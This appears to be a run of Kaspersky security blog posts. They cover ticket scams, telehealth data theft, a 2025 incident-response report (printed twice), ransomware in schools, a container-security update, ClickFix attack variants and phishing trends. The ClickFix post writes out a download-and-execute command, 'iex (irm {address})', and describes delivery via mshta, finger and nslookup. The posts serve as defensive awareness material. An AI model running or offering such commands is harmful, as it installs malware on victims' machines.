How to protect yourself from ticket scams

If you really want to get tickets to your favorite group’s concert but not fall victim to the scammers, it’s important to keep these basic cybersecurity rules in mind:

• Access only official ticketing services, which you can find on the official page dedicated to BTS’s tour. Type the website address directly into your browser, and avoid links received via messages, social media, or email.
• Check the domain carefully. Slight changes in the address often indicate fraud. This includes additional dashes, unusual territorial domains, and hardly-noticeable changes like replacing a lowercase “l” (L) with an uppercase “I” (i).
• Check the website for Privacy Policy and Terms of Use pages. If they’re missing, you’re definitely visiting a fake website. But remember: their presence doesn’t guarantee that the site is legitimate. With modern AI, generating such pages takes only a few seconds.
• Carefully check the sales format for each country. In Brazil, payment should only be made in person, so any request for online payment during the pre‑sale is a strong indication of a scam. Other countries and event organizers may offer online payments.
• If you’ve been scammed, immediately contact your bank. If you provided bank card information to the criminals, you should reissue your card to prevent further unauthorized payments.
• Enable banking alerts. Real-time notifications allow you to quickly identify suspicious transactions.
• Use cybersecurity protection that detects and automatically blocks fraudulent websites. Kaspersky Premium, our robust cybersecurity solution, also shuts down phishing attempts, protects your personal data, and helps safeguard your identity.
• Beware of “free” or “discounted” tickets. Ultimately, there’s never such a thing as a free lunch — especially when it comes to world‑famous music groups.

More on scams:

• Phishing and spam: the wildest campaigns of 2025
• How phishers and scammers use AI
• The scam on your doorstep
• 8 more tips for spotting online scammers
• 5 online scam red flags

April 7 marks World Health Day. The theme for 2026 is “Together for health. Stand with science” — a call to join forces in the fight for evidence-based medicine and scientific progress. Many people view telehealth as one of the crowning achievements of this progress: you can basically get a doctor’s consultation in five minutes without ever leaving your couch. But there’s a catch…

Medical data sells on the black or gray markets for dozens of times more than credit card info or social media logins. Unlike a credit card, which you can just block and replace, you can’t exactly reset your medical history. Your name, birthday, address, phone number, insurance ID, diagnoses, test results, prescriptions, and treatment plans stay relevant for years. This is a goldmine for everything from targeted marketing to blackmail, fraud, or identity theft.

And with the rise of AI, the internet is now flooded with fake websites that claim to offer medical services but are actually designed to strip-mine confidential info from unsuspecting victims. Today, we’re diving into which medical details are at risk, why hackers want them, and how you can stop them in their tracks.

More valuable than credit cards

Scammers monetize stolen medical data both in bulk and through individual sales. Their first move is usually to extort a ransom from the companies they’ve successfully hacked. (In fact, back in 2024, 91% of malware-related healthcare data leaks in the U.S. were the result of ransomware attacks.) But later, the leaked data is then used for pinpointed, personal attacks. It allows hackers to build a medical profile of a victim — what meds they buy, how often, and what they take long-term — to then sell that info to big pharma or marketers, or to use it for targeted phishing scams like pitching a fake innovative treatment. They can even blackmail a patient over a sensitive diagnosis or use the info to fraudulently score prescriptions for controlled substances. On top of that, insurance companies are also hungry for this kind of data. They analyze these details to hike up insurance premiums for patients or, in some cases, refuse to provide coverage altogether. In short, there are plenty of ways they can use it against you.

How bad is it really?

The biggest medical data breach in history went down in February 2024, when the BlackCat hacking group broke into the systems of Change Healthcare. This is a division of UnitedHealth Group, which processes around 15 billion insurance transactions a year and acts as the financial middleman between patients, healthcare providers, and insurance companies.

For nine days, the attackers roamed freely through Change Healthcare’s internal systems, siphoning off six terabytes of confidential data before finally launching their ransomware. UnitedHealth was forced to completely yank Change Healthcare datacenters offline to stop the encryptor from spreading, and they ended up paying a 22-million-dollar ransom to the extortionists. The attack effectively paralyzed the U.S. healthcare system. The number of victims was revised three times: first 100 million, then 190 million, and the final tally hit a staggering 192.7 million people, with total damages estimated at 2.9 billion dollars. And the reason (on the Change Healthcare’s side) for this massive incident — which we broke down in detail in a separate post — was simply… a lack of two-factor authentication on a remote desktop access portal.

Before that, the mental health telehealth startup Cerebral embedded third-party tracking tools directly into its website and apps. As a result, the data of 3.2 million patients — including names, medical and prescription histories, and insurance info — leaked out to LinkedIn, Snapchat, and TikTok. The U.S. Federal Trade Commission slapped the company with a 7.1-million-dollar fine, and issued an unprecedented ban on using medical data for advertising purposes. By the way, that same startup also made the headlines for sending its clients promotional postcards without envelopes, displaying patient names and phrasing that made it easy for anyone to figure out their diagnosis.

Why telehealth is so vulnerable

Let’s take a look at the main weak spots in telehealth services.

• Ad trackers in medical apps. Trackers from Facebook, TikTok, Snapchat, and other tech giants are often baked right into telehealth platforms, leaking patient data to advertisers without users ever knowing.
• Unsecured communication channels. Sometimes doctors chat with patients through regular messaging apps instead of certified medical platforms. It’s convenient, sure, but it’s illegal for the clinic and totally unsafe for the patient.
• Platform vulnerabilities. Telemedicine platforms are prone to classic web attacks, such as SQL injections that let hackers dump entire patient databases, session hijacking, and data interception when connection encryption is weak or nonexistent.
• Poor staff training. Our research showed that 30% of doctors have dealt with compromised patient data specifically during telehealth sessions, and 42% of medical staff don’t actually understand how their patients’ data is being protected.
• Outdated medical devices. Many wearable medical gadgets (like heart monitors or blood pressure cuffs) use an old data transfer protocol called MQTT. It’s full of holes that could potentially allow hackers to steal sensitive info or even mess with how the device functions.

Spam and phishing in telehealth

Hackers aren’t the only ones interested in the medical field — spammers and scammers are all over it, too. They pitch “medical services” with deals that look way too good to be true, send out emails about supposed changes to your health insurance, or talk up “ancient Himalayan healing traditions”. Of course, all the links they send lead to suspicious websites offering dubious goods or services.

Should you land on such a phishing site, scammers will try to squeeze every bit of private info they can out of you: photos of your ID, insurance policy, prescriptions, and sometimes even… photos of body parts that supposedly need medical attention. From there, this data can be dumped and sold on the dark web — or used for blackmail, extortion, and follow-up phishing attacks. To learn more about how the underground data assembly line works, check out our post, What happens to data stolen using phishing?

As a rule of thumb, fake clinic sites usually skip the privacy policy section, and bombard you with “today only” deals that seem too good to be true. That said, with the help of AI, creating a professional-looking site that’s indistinguishable from the real thing is now a total breeze: you don’t even need design skills or fluency in the victim’s language. That’s exactly why we recommend using our comprehensive security suite — it’s designed to sniff out spam, scams and phishing, and warn you about fake websites before you land on them.

Safety tips for telehealth patients

• Set up a dedicated email address for medical services. If this address leaks because a clinic gets hacked, it makes it much harder for scammers to track the rest of your digital life.
• Avoid using Google, Apple, or social media sign-in for telehealth sites. Keeping things separate makes it way tougher to link your medical data to your personal accounts.
• Double-check which platform is being used for your consultation. If the clinic suggests a call or chat through a standard messaging app, that’s a red flag. A secure, encrypted patient portal provided by the clinic is significantly safer.
• Never send medical documents via chat apps or social media. Always upload lab results, scans, and records through the clinic’s official patient portal.
• Use a unique, complex password for every account. Your government portal, clinic login, and doctor-booking app should each have a separate password. Kaspersky Password Manager can generate and store all of them for you; it also regularly scans leak databases, and alerts you if any of your accounts are compromised.
• Turn on two-factor authentication. Do this first of all for government services and medical organizations. We recommend using an authenticator app rather than SMS codes: it’s more secure and totally anonymous. Kaspersky Password Manager can help you out here, too.
• Share only what’s necessary. Don’t feel obligated to fill out every optional field in medical apps or on websites. The less data a service stores, the less there is to leak.
• Be careful about sharing health info on social media or in chat apps. Scammers love to exploit people when they’re vulnerable. For instance, in 2024, hackers gained the trust of the XZ Utils developer who had publicly posted about burnout and depression. They convinced him to hand over control of his tool, which they then loaded with malicious code. Since XZ Utils is used in tons of Linux systems and affects OpenSSH (a protocol for remote server connections), the attack could have wrecked a huge chunk of the internet if it hadn’t been caught in time.
• Don’t install telehealth apps from unknown developers. Check the reviews and take a minute to skim the privacy policy — even major platforms might be sharing your data with third parties.
• Keep an eye on your medical records. Strange prescriptions, doctor visits you never made, or meds you’ve never heard of can all be signs that your account has been compromised.
• Configure and regularly update your health gadgets. Fitness trackers, blood pressure monitors, smart scales, and activity trackers all send data to the web. Improper settings or unpatched vulnerabilities are an open door for data breaches.

What else you need to know about protecting your health online:

• Brain drain: vulnerabilities in mental health apps
• Why data brokers build dossiers on you, and how to stop them doing so
• How chatting with a bot can lead to tragedy
• Privacy in reproductive health apps
• Five problems of telehealth

Kaspersky Security Services provide a comprehensive cybersecurity ecosystem, taking enterprise threat protection to another level. Services like Kaspersky Managed Detection and Response and Compromise Assessment allow for timely detection of threats and cyberattacks. SOC Consulting provides a practical approach ensuring the corporate infrastructure stays secured, while Incident Response is suited for timely remediation with a maximized recovery rate.

This new report brings together statistics across regions and industries from our Managed Detection and Response and Incident Response services, and for the first time, it also includes insights from our Compromise Assessment and SOC Consulting services — all to provide you with more comprehensive view of different aspects of corporate information security worldwide.

The scope of MDR and IR services

Provision of Kaspersky’s MDR and IR services follows a global approach. The majority of customers accounted for the CIS (34.7%), the Middle East (20.1%), and Europe (18.6%).

MDR telemetry

Following the previous year’s numbers, in 2025, the MDR infrastructure received and processed an average of 15,000 telemetry events per host every day, generating security alerts as a result. These alerts are first processed by AI-powered detection logic, after which Kaspersky SOC analysts handle them as required. Overall, a total of approximately 400,000 alerts were generated in 2025. After counting out false positives, 39,000 alerts were further investigated.

Incident statistics

The distribution of remediation requests by industry has slightly changed as compared to previous years’ pattern. Government (18.5%) and industrial (16.6%) organizations are still the most targeted industries in regards to cyberattacks that require incident response activities. However, this year, the IT sector saw a growth in the number of IR requests, eventually being placed third in the overall industry distribution rankings and thus replacing financial organizations, which were targeted less often than in 2024. This is equally true for smaller-scale attacks that can be contained and remediated through automated means — the only difference is that medium- and low-severity incidents are more often experienced by financial organizations.

Key trends and statistics

This section presents key findings and trends in cyberattacks in 2025:

• The number of high-severity incidents decreased, following a downward trend that we’ve been observing since 2021. The majority of those incidents account for APT attacks and red teaming exercises, which indicates two landscape trends. On the one hand, skilled adversaries make efforts to increase impact, while on the other, organizations spend more resources on probing their defense systems.
• The most common vulnerabilities exploited in the wild were related to Microsoft products. Half of all identified CVEs led to remote code execution, notably without authentication in some cases.
• Exploitation of public-facing applications, valid accounts, and trusted relationships remain the most popular initial vectors, and their overall share has increased, accounting to over 80% of all attacks in 2025. In particular, attacks through trusted relationships are evolving: their share has increased to 15.5% from 12.8% in 2024. They are also becoming more complex: for instance, we witnessed a case where adversaries had compromised more than two organizations in sequence to ultimately gain access to a third target.
• Standard Windows utilities remain a popular LotL tool. Adversaries use those to minimize the risk of detection during delivery to a compromised system. The most popular LOLBins we observed in high-severity incidents were powershell.exe (14.4%), rundll32.exe (5.9%), and mshta.exe (3.8%). Among the most popular legitimate tools used in incidents we flag Mimikatz (14.3%), PowerShell (8.1%), PsExec (7.5%), and AnyDesk (7.5%).

The full 2026 Global Report provides additional information about cyberattacks, including real-world cases discovered by Kaspersky experts. We also describe SOC Consulting projects and Compromise Assessment requests. The report includes comprehensive analysis of initial attack vectors in correlation with the MITRE ATT&CK tactics and techniques and the full list of vulnerabilities that we detected during Incident Response engagements.

Kaspersky Security Services provide a comprehensive cybersecurity ecosystem, taking enterprise threat protection to another level. Services like Kaspersky Managed Detection and Response and Compromise Assessment allow for timely detection of threats and cyberattacks. SOC Consulting provides a practical approach ensuring the corporate infrastructure stays secured, while Incident Response is suited for timely remediation with a maximized recovery rate.

This new report brings together statistics across regions and industries from our Managed Detection and Response and Incident Response services, and for the first time, it also includes insights from our Compromise Assessment and SOC Consulting services — all to provide you with more comprehensive view of different aspects of corporate information security worldwide.

The scope of MDR and IR services

Provision of Kaspersky’s MDR and IR services follows a global approach. The majority of customers accounted for the CIS (34.7%), the Middle East (20.1%), and Europe (18.6%).

MDR telemetry

Following the previous year’s numbers, in 2025, the MDR infrastructure received and processed an average of 15,000 telemetry events per host every day, generating security alerts as a result. These alerts are first processed by AI-powered detection logic, after which Kaspersky SOC analysts handle them as required. Overall, a total of approximately 400,000 alerts were generated in 2025. After counting out false positives, 39,000 alerts were further investigated.

Incident statistics

The distribution of remediation requests by industry has slightly changed as compared to previous years’ pattern. Government (18.5%) and industrial (16.6%) organizations are still the most targeted industries in regards to cyberattacks that require incident response activities. However, this year, the IT sector saw a growth in the number of IR requests, eventually being placed third in the overall industry distribution rankings and thus replacing financial organizations, which were targeted less often than in 2024. This is equally true for smaller-scale attacks that can be contained and remediated through automated means — the only difference is that medium- and low-severity incidents are more often experienced by financial organizations.

Key trends and statistics

This section presents key findings and trends in cyberattacks in 2025:

• The number of high-severity incidents decreased, following a downward trend that we’ve been observing since 2021. The majority of those incidents account for APT attacks and red teaming exercises, which indicates two landscape trends. On the one hand, skilled adversaries make efforts to increase impact, while on the other, organizations spend more resources on probing their defense systems.
• The most common vulnerabilities exploited in the wild were related to Microsoft products. Half of all identified CVEs led to remote code execution, notably without authentication in some cases.
• Exploitation of public-facing applications, valid accounts, and trusted relationships remain the most popular initial vectors, and their overall share has increased, accounting to over 80% of all attacks in 2025. In particular, attacks through trusted relationships are evolving: their share has increased to 15.5% from 12.8% in 2024. They are also becoming more complex: for instance, we witnessed a case where adversaries had compromised more than two organizations in sequence to ultimately gain access to a third target.
• Standard Windows utilities remain a popular LotL tool. Adversaries use those to minimize the risk of detection during delivery to a compromised system. The most popular LOLBins we observed in high-severity incidents were powershell.exe (14.4%), rundll32.exe (5.9%), and mshta.exe (3.8%). Among the most popular legitimate tools used in incidents we flag Mimikatz (14.3%), PowerShell (8.1%), PsExec (7.5%), and AnyDesk (7.5%).

The full 2026 Global Report provides additional information about cyberattacks, including real-world cases discovered by Kaspersky experts. We also describe SOC Consulting projects and Compromise Assessment requests. The report includes comprehensive analysis of initial attack vectors in correlation with the MITRE ATT&CK tactics and techniques and the full list of vulnerabilities that we detected during Incident Response engagements.

Back when ransomware was just a startup industry, the primary goal of the attackers was simple: encrypt data, then extort a ransom in exchange for decrypting it. Because of this, cybercriminals mostly targeted commercial enterprises — companies that valued their data enough to justify a hefty payout. Schools and colleges were generally left alone — hackers assumed educators didn’t have the kind of data worth paying a ransom for.

But times have changed, and so has the ransomware groups’ business model. The focus has shifted from payment for decryption, to extortion in exchange for non-disclosure of stolen data. Now, the “incentive” to pay isn’t just about restoring the company’s normal operations, but rather avoiding regulatory trouble, potential lawsuits, and reputational damage. And it’s this shift that’s put educational institutions in the crosshairs.

In this post, we discuss several cases of ransomware attacks on educational organizations, why they took place, and how to keep cybercriminals out of the classroom.

Attacks on educational institutions in 2025–2026

In February 2026, the Sapienza University of Rome, one of Europe’s oldest and largest higher education institutions, suffered a ransomware attack. Internal systems were down for three days. According to sources familiar with the incident, the cybercriminals sent the university’s administration a link leading to a ransom demand. Upon clicking the link, a countdown timer started on the site that opened — counting down from  72 hours: the time the attackers demands needed to be met. As of now, there’s still no word on whether the university administration paid up or not.

Unfortunately, this case isn’t an exception. At the very end of 2025, attackers targeted another Italian educational institution — a vocational training center in the small city of Treviso. Things aren’t looking much better in the UK, either: in the same year, Blacon High School was hit by ransomware. Its administration had to shut its doors for two days to restore its IT systems, assess the scale of the incident, and prevent the attack from spreading further through the network.

In fact, a UK government study suggests these incidents are just part of a broader trend. According to its 2025 data, cyberincidents hit 60% of secondary schools, 85% of colleges, and 91% of universities. Across the pond, American researchers also noted that in the first quarter of 2025, ransomware attacks in the global education sector surged by 69% year on year. Clearly, the trend is global.

Why schools and universities are becoming easy targets

The core of the problem is that modern educational organizations are rapidly incorporating digital services into their operations. A typical school or university infrastructure now manages a dizzying array of services:

• Electronic gradebooks and registers
• Distance learning platforms
• Admission systems and databases for storing applicants’ personal data
• Cloud storage for educational materials
• Internal staff and student portals
• Email for faculty, students, and the administration to communicate

While these systems make education more convenient and manageable, they also drastically expand the attack surface. Every new service and every additional user account is a potential doorway for a phishing campaign, access compromise, or a personal data leak.

According to a UK study, the primary vector for these attacks is basic phishing. But that’s not all that surprising: since the education sector was off the cybercriminals’ radar for so long, cybersecurity training for both staff and students was hardly a priority. As a result, even the most seasoned professors can find themselves falling for a fake email purportedly sent by the “dean” or the “school principal”.

But it’s not just the faculty. Students themselves often unwittingly act as mules for malware. In many institutions, students still frequently hand in assignments on USB flash drives. These drives travel across various home or public devices, picking up malicious digital hitchhikers along the way. All it takes is one infected USB drive plugged into a campus workstation to give an attacker a foothold in the internal network.

It’s worth noting that while USB drives aren’t as ubiquitous as they were a decade ago, they remain a staple in the educational environment. Dismissing the threats they carry isn’t a good idea.

How to ensure the cybersecurity of educational infrastructure

Let’s face it: training every literature and biology teacher to spot phishing emails is now easy, quick task. Similarly, the educational system isn’t going to cut down on USB usage overnight.

Fortunately, a robust security solution (such as Kaspersky Small Office Security) can do the heavy lifting for you. It’s ideal for schools and colleges that need set-it-and-forget-it protection without a steep learning curve. Plus, it’s affordable even for institutions operating on a tight budget, and doesn’t require constant management.

At the same time, Kaspersky Small Office Security addresses all the threats we’ve discussed above: it blocks clicks on phishing links, automatically scans USB drives the moment they’re plugged in, and prevents suspicious files from executing on devices connected to the school’s network.

Modern software development relies on containers and the use of third-party software modules. On the one hand, this greatly facilitates the creation of new software, but on the other, it gives attackers additional opportunities to compromise the development environment. News about attacks on the supply chain through the distribution of malware via various repositories appears with alarming regularity. Therefore, tools that allow the scanning of images have long been an essential part of secure software development.

Our portfolio has long included a solution for protecting container environments. It allows the scanning of images at different stages of development for malware, known vulnerabilities, configuration errors, the presence of confidential data in the code, and so on. However, in order to make an informed decision about the state of security of a particular image, the operator of the cybersecurity solution may need some more context. Of course, it’s possible to gather this context independently, but if a thorough investigation is conducted manually each time, development may be delayed for an unpredictable period of time. Therefore, our experts decided to add the ability to look at the image from a fresh perspective; of course, not with a human eye — AI is indispensable nowadays.

OpenAI API

Our Kaspersky Container Security solution (a key component of Kaspersky Cloud Workload Security) now supports an application programming interface for connecting external large language models. So, if a company has deployed a local LLM (or has a subscription to connect a third-party model) that supports the OpenAI API, it’s possible to connect the LLM to our solution. This gives a cybersecurity expert the opportunity to get both additional context about uploaded images and an independent risk assessment by means of a full-fledged AI assistant capable of quickly gathering the necessary information.

The AI provides a description that clearly explains what the image is for, what application it contains, what it does specifically, and so on. Additionally, the assistant conducts its own independent analysis of the risks of using this image and highlights measures to minimize these risks (if any are found). We’re confident that this will speed up decision-making and incident investigations and, overall, increase the security of the development process.

What else is new in Cloud Workload Security?

In addition to adding API to connect the AI assistant, our developers have made a number of other changes to the products included in the Kaspersky Cloud Workload Security offering. First, they now support single sign-on (SSO) and a multi-domain Active Directory, which makes it easier to deploy solutions in cloud and hybrid environments. In addition, Kaspersky Cloud Workload Security now scans images more efficiently and supports advanced security policy capabilities. You can learn more about the product on its official page.

About a year ago, we published a post about the ClickFix technique, which was gaining popularity among attackers. The essence of attacks using ClickFix boils down to convincing the victim, under various pretexts, to run a malicious command on their computer. That is, from the cybersecurity solutions point of view, it’s run on behalf of the active user and with their privileges.

In early uses of this technique, cybercriminals tried to convince victims that they need to execute a command to fix some problem or to pass a captcha, and in the vast majority of cases, the malicious command was a PowerShell script. However, since then, attackers have come up with a number of new tricks that users should be warned about, as well as a number of new variants of malicious payload delivery, which are also worth keeping an eye on.

Use of mshta.exe

Last year, Microsoft experts published a report on cyberattacks targeting hotel owners working with Booking.com. The attackers sent out fake notifications from the service, or emails pretending to be from guests drawing attention to a review. In both cases, the email contained a link to a website imitating Booking.com, which asked the victim to prove that they were not a robot by running a code via the Run menu.

There are two key differences between this attack and ClickFix. First, the user isn’t asked to copy the string (after all, a string with code sometimes arouses suspicion). It’s copied to the exchange buffer by the malicious site – probably when the user clicks on a checkbox that mimics the reCAPTCHA mechanism. Second, the malicious string calls the legitimate mshta.exe utility, which serves to run applications written in HTML. It contacts the attackers’ server and executes the malicious payload.

Video on TikTok and PowerShell with administrator privileges

BleepingComputer published an article in October 2025 about a campaign spreading malware through instructions in TikTok videos. The videos themselves imitate video tutorials on how to activate proprietary software for free. The advice they give boils down to a need to run PowerShell with administrator rights and then execute the command iex (irm {address}). Here, the irm command downloads a malicious script from a server controlled by attackers, and the iex (Invoke-Expression) command runs it. The script, in turn, downloads an infostealer malware to the victim’s computer.

Using the Finger protocol

Another unusual variant of the ClickFix attack uses the familiar captcha trick, but the malicious script uses the outdated Finger protocol. The utility of the same name allows anyone to request data about a specific user on a remote server. The protocol is rarely used nowadays, but it is still supported by Windows, macOS, and a number of Linux-based systems.

The user is persuaded to open the command line interface and use it to run a command that establishes a connection via the Finger protocol (using TCP port 79) with the attackers’ server. The protocol only transfers text information, but this is enough to download another script to the victim’s computer, which then installs the malware.

CrashFix variant

Another variant of ClickFix differs in that it uses more sophisticated social engineering. It was used in an attack on users trying to find a tool to block advertising banners, trackers, malware, and other unwanted content on web pages. When searching for a suitable extension for Google Chrome, victims found something called NexShield – Advanced Web Guardian, which was in fact a clone of real working software, but which at some point crashed the browser and displayed a fake notification about a detected security problem and the need to run a “scan” to fix the error. If the user agreed, they received instructions on how to open the Run menu and execute a command that the extension had previously copied to the clipboard.

The command copied the familiar finger.exe file to a temporary directory, renamed it ct.exe, and then launched it with the attacker’s address. The rest of the attack was the same as in the abovementioned case. In response to the Finger protocol request, a malicious script was delivered, which launched and installed a remote access Trojan (in this case, ModeloRAT).

Malware delivery via DNS lookup

The Microsoft Threat Intelligence team also shared a slightly more complex than usual ClickFix attack variant. Unfortunately, they didn’t describe the social engineering trick, but the method of delivering the malicious payload is quite interesting. Probably in order to complicate detection of the attack in a corporate environment and prolong the life of the malicious infrastructure, the attackers used an additional step: contacting a DNS server controlled by the attackers.

That is, after the victim is somehow persuaded to copy and execute a malicious command, a request is sent to the DNS server on behalf of the user via the legitimate nslookup utility, requesting data for the example.com domain. The command contained the address of a specific DNS server controlled by the attackers. It returns a response that, among other things, returned a string with malicious script, which in turn downloads the final payload (in this attack, ModeloRAT again).

Cryptocurrency bait and JavaScript as payload

The next attack variant is interesting for its multi-stage social engineering. In comments on Pastebin, attackers actively spread a message about an alleged flaw in the Swapzone.io cryptocurrency exchange service. Cryptocurrency owners were invited to visit a resource created by fraudsters, which contained full instructions on how to exploit this flaw, which can make up to $13,000 in a couple of days.

The instructions explain how the service’s flaws can be exploited to exchange cryptocurrency at a more favorable rate. To do this, a victim needs to open the service’s website in the Chrome browser, manually type “javascript:” in the address bar, and then paste the JavaScript script copied from the attackers’ website and execute it. In reality, of course, the script cannot affect exchange rates in any way; it simply replaces Bitcoin wallet addresses and, if the victim actually tries to exchange something, transfers the funds to the attackers’ accounts.

How to protect your company from ClickFix attacks

The simplest attacks using the ClickFix technique can be countered by blocking the [Win] + [R] key combination on work devices. But, as we see from the examples listed, this is far from the only type of attack in which users are asked to run malicious code themselves.

Therefore, the main advice is to raise employee cybersecurity awareness. They must clearly understand that if someone asks them to perform any unusual manipulations with the system, and/or copy and paste code somewhere, then in most cases this is a trick used by cybercriminals. Security awareness training can be organized using the Kaspersky Automated Security Awareness Platform.

In addition, to protect against such cyberattacks, we recommend:

• Using reliable protection on all corporate devices.
• Monitoring suspicious activity on the company network using an XDR solution.
• If internal resources are insufficient, using an external service to detect threats and respond to them promptly.

Every year, scammers cook up new ways to trick people, and 2025 was no exception. Over the past year, our anti-phishing system thwarted more than 554 million attempts to follow phishing links, while our Mail Anti-Virus blocked nearly 145 million malicious attachments. To top it off, almost 45% of all emails worldwide turned out to be spam. Below, we break down the most impressive phishing and spam schemes from last year. For the deep dive, you can read the full Spam and Phishing in 2025 report on Securelist.

Phishing for fun

Music lovers and cinephiles were prime targets for scammers in 2025. Bad actors went all out creating fake ticketing aggregators and spoofed versions of popular streaming services.

On these fake aggregator sites, users were offered “free” tickets to major concerts. The catch? You just had to pay a small “processing fee” or “shipping cost”. Naturally, the only thing being delivered was your hard-earned cash straight into a scammer’s pocket.

With streaming services, the hustle went like this: users received a tempting offer to, say, migrate their Spotify playlists to YouTube by entering their Spotify credentials. Alternatively, they were invited to vote for their favorite artist in a chart — an opportunity most fans find hard to pass up. To add a coat of legitimacy, scammers name-dropped heavy hitters like Google and Spotify. The phishing form targeted multiple platforms at once — Facebook, Instagram, or email — requiring users to enter their credentials to vote hand over their accounts.

In Brazil, scammers took it a step further: they offered users the chance to earn money just by listening to and rating songs on a supposed Spotify partner service. During registration, users had to provide their ID for Pix (the Brazilian instant payment system), and then make a one-time “verification payment” of 19.9 Brazilian reals (about $4) to “confirm their identity”. This fee was, of course, a fraction of the promised “potential earnings”. The payment form looked incredibly authentic and requested additional personal data — likely to be harvested for future attacks.

The “cultural date” scheme turned out to be particularly inventive. After matching and some brief chatting on dating apps, a new “love interest” would invite the victim to a play or a movie and send a link to buy tickets. Once the “payment” went through, both the date and the ticketing site would vanish into thin air. A similar tactic was used to sell tickets for immersive escape rooms, which have surged in popularity lately; the page designs mirrored real sites to lower the user’s guard.

Phishing via messaging apps

The theft of Telegram and WhatsApp accounts became one of the year’s most widespread threats. Scammers have mastered the art of masking phishing as standard chat app activities, and have significantly expanded their geographical reach.

On Telegram, free Premium subscriptions remained the ultimate bait. While these phishing pages were previously only seen in Russian and English, 2025 saw a massive expansion into other languages. Victims would receive a message — often from a friend’s hijacked account — offering a “gift”. To activate it, the user had to log in to their Telegram account on the attacker’s site, which immediately led to another hijacked account.

Another common scheme involved celebrity giveaways. One specific attack, disguised as an NFT giveaway, stood out because it operated through a Telegram Mini App. For the average user, spotting a malicious Mini App is much harder than identifying a sketchy external URL.

Finally, the classic vote for my friend messenger scam evolved in 2025 to include prompts to vote for the “city’s best dentist” or “top operational leader” — unfortunately, just bait for account takeovers.

Another clever method for hijacking WhatsApp accounts was spotted in China, where phishing pages perfectly mimicked the actual WhatsApp interface. Victims were told that due to some alleged “illegal activity”, they needed to undergo “additional verification”, which — you guessed it — ended up with a stolen account.

Impersonating Government Services

Phishing that mimics government messages and portals is a “classic of the genre”, but in 2025, scammers added some new scripts to the playbook.

In Russia, vishing attacks targeting government service users picked up steam. Victims received emails claiming an unauthorized login to their account, and were urged to call a specific number to undergo a “security check”. To make it look legit, the emails were packed with fake technical details: IP addresses, device models, and timestamps of the alleged login. Scammers also sent out phony loan approval notifications: if the recipient hadn’t applied for a loan (which they hadn’t), they were prompted to call a fake support team. Once the panicked victim reached an “operator”, social engineering took center stage.

In Brazil, attackers hunted for taxpayer numbers (CPF numbers) by creating counterfeit government portals. Since this ID is the master key for accessing state services, national databases, and personal documents, a hijacked CPF is essentially a fast track to identity theft.

In Norway, scammers targeted people looking to renew their driver’s licenses. A site mimicking the Norwegian Public Roads Administration collected a mountain of personal data: everything from license plate numbers, full names, addresses, and phone numbers to the unique personal identification numbers assigned to every resident. For the cherry on top, drivers were asked to pay a “license replacement fee” of 1200 NOK (over US$125). The scammers walked away with personal data, credit card details, and cash. A literal triple-combo move!

Generally speaking, motorists are an attractive target: they clearly have money and a car and a fear of losing it. UK-based scammers played on this by sending out demands to urgently pay some overdue vehicle tax to avoid some unspecified “enforcement action”. This “act now!” urgency is a classic phishing trope designed to distract the victim from a sketchy URL or janky formatting.

Let us borrow your identity, please

In 2025, we saw a spike in phishing attacks revolving around Know Your Customer (KYC) checks. To boost security, many services now verify users via biometrics and government IDs. Scammers have learned to harvest this data by spoofing the pages of popular services that implement these checks.

What sets these attacks apart is that, in addition to standard personal info, phishers demand photos of IDs or the victim’s face — sometimes from multiple angles. This kind of full profile can later be sold on dark web marketplaces or used for identity theft. We took a deep dive into this process in our post, What happens to data stolen using phishing?

AI scammers

Naturally, scammers weren’t about to sit out the artificial intelligence boom. ChatGPT became a major lure: fraudsters built fake ChatGPT Plus subscription checkout pages, and offered “unique prompts” guaranteed to make you go viral on social media.

The “earn money with AI” scheme was particularly cynical. Scammers offered passive income from bets allegedly placed by ChatGPT: the bot does all the heavy lifting while the user just watches the cash roll in. Sounds like a dream, right? But to “catch” this opportunity, you had to act fast. A special price on this easy way to lose your money was valid for only 15 minutes from the moment you hit the page, leaving victims with no time to think twice.

Across the board, scammers are aggressively adopting AI. They’re leveraging deepfakes, automating high-quality website design, and generating polished copy for their email blasts. Even live calls with victims are becoming components of more complex schemes, which we detailed in our post, How phishers and scammers use AI.

Booby-trapped job openings

Someone looking for work is a prime target for bad actors. By dangling high-paying remote roles at major brands, phishers harvested applicants’ personal data — and sometimes even squeezed them for small “document processing fees” or “commissions”.

In more sophisticated setups, “employment agency” phishing sites would ask for the phone number linked to the user’s Telegram account during registration. To finish “signing up”, the victim had to enter a “confirmation code”, which was actually a Telegram authorization code. After entering it, the site kept pestering the applicant for more profile details — clearly a distraction to keep them from noticing the new login notification on their phone. To “verify the user”, the victim was told to wait 24 hours, giving the scammers, who already had a foot in the door, enough time to hijack the Telegram account permanently.

Hype is a lie (but a very convincing one)

As usual, scammers in 2025 were quick to jump on every trending headline, launching email campaigns at breakneck speed.

For instance, following the launch of $TRUMP meme coins by the U.S. President, scam blasts appeared promising free NFTs from “Trump Meme Coin” and “Trump Digital Trading Cards”. We’ve previously broken down exactly how meme coins work, and how to (not) lose your shirt on them.

The second the iPhone 17 Pro hit the market, it became the prize in countless fake surveys. After “winning”, users just had to provide their contact info and pay for shipping. Once those bank details were entered, the “winner” risked losing not just the shipping fee, but every cent in their account.

Riding the Ozempic wave, scammers flooded inboxes with offers for counterfeit versions of the drug, or sketchy “alternatives” that real pharmacists have never even heard of.

And during the BLACKPINK world tour, spammers pivoted to advertising “scooter suitcases just like the band uses”.

Even Jeff Bezos’s wedding in the summer of 2025 became fodder for “Nigerian” email scams. Users received messages purportedly from Bezos himself or his ex-wife, MacKenzie Scott. The emails promised massive sums in the name of charity or as “compensation” from Amazon.

How to stay safe

As you can see, scammers know no bounds when it comes to inventing new ways to separate you from your money and personal data — or even stealing your entire identity. These are just a few of the wildest examples from 2025; you can dive into the full analysis of the phishing and spam threat landscape over at Securelist. In the meantime, here are a few tips to keep you from becoming a victim. Be sure to share these with your friends and family — especially kids, teens, and older relatives. These groups are often the main targets in the scammers’ crosshairs.

1. Check the URL before entering any data. Even if the page looks pixel-perfect, the address bar can give the game away.
2. Don’t follow links in suspicious messages, even if they come from someone you know. Their account could easily have been hijacked.
3. Never share verification codes with anyone. These codes are the master keys to your digital life.
4. Enable two-factor authentication everywhere you can. It adds a crucial extra hurdle for hackers.
5. Be skeptical of “too good to be true” offers. Free iPhones, easy money, and gifts from strangers are almost always a trap. For a refresher, check out our post, Phishing 101: what to do if you get a phishing email.
